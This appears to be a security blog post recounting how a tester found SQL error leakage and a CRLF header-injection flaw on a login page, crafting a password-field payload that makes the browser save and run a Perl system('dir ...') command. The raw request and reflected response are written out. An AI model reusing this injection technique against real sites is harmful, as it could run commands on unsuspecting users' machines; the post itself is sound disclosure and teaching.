a) Web application threats are out there waiting for the chance to attack both web applications and end users.
b) Even though I’ve seen some pretty crazy defects/vulnerabilities in web applications, I can still be surprised from new stuff.
OK, so the first page I accessed was the login page.
My first attempt was to try sending incorrect user credentials; the response was an “invalid user” message (in Hebrew). So far, so good.
Next, I tried to use an out-of-the-ordinary character (Quote “) in the user password field and bingo, I got my first clue; the reply contained SQL error handling information (a funny location for standard error handling output).
HTTP/1.1 200 OK
Server: Apache/2.2.3
Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near “ at line 1
Content-Type: application/x-perl
Content-Length: 0
Server: Apache/2.2.3
Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near “ at line 1
Content-Type: application/x-perl
Content-Length: 0
While this in itself was a severe enough indication of a possible SQL injection vulnerability, it wasn’t the only issue here. The reply returned with Content-Type header containing the value “application/x-perl” and as a result the browser tried to open the web server reply as a Perl program.
OK, so the reply was considered a Perl file - what’s the big deal? Now let’s try to manipulate the notorious error handling header!
Sending a specially crafted payload in the password field with CRLF (line break) characters got me the expected results; I now have control over the reply body (meaning the reply is considered by the browser as a Perl file and I can write my own code into it)!
I sent this payload in the password field:"%0d%0a%0d%0a system('dir "C:\Documents and Settings\administrator"')# . It is supposed to execute a dir command on a client PC. Below is an example of how the raw HTTP request looked:
POST /cgi-bin/menu.pl HTTP/1.1
Host: www.site.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6
Content-Type: application/x-www-form-urlencoded
Content-Length: 53
Username=test&Password=test"%0d%0a%0d%0a system('dir "C:\Documents and Settings\administrator"')#
Host: www.site.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6
Content-Type: application/x-www-form-urlencoded
Content-Length: 53
Username=test&Password=test"%0d%0a%0d%0a system('dir "C:\Documents and Settings\administrator"')#
And this is the reply I’m getting from the web server (the payload is reflected in its content):
HTTP/1.1 200 OK
Server: Apache/2.2.3
Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near “
Content-Type: application/x-perl
Content-Length: 0
system('dir "C:\Documents and Settings\administrator"')#"' at line 1
Server: Apache/2.2.3
Error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near “
Content-Type: application/x-perl
Content-Length: 0
system('dir "C:\Documents and Settings\administrator"')#"' at line 1
Going back to the open file dialog shown above, by pressing on the “OK” button I can see the command line prompt window being opened and the Perl program running on my desktop, executing the system command “dir "C:\Documents and Settings\administrator"”. This is how it looks:
Now using this technique to allure a naïve user to open the file will result in something I refer to as “system command reflection”.
There’s an interesting relationship here between quality assurance and security assurance; while both will detect the same issues, the first will classify it as defect in the application and the second as security vulnerability (often the difference between the two is simply the severity of the defect/vulnerability).
This example shows that hazards are all around us making the web a dangerous place for both applications and end users alike; no doubt both (i.e. applications and users) would benefit from being more educated and more protected against the risks that surround us.
This comment has been removed by the author.
ReplyDelete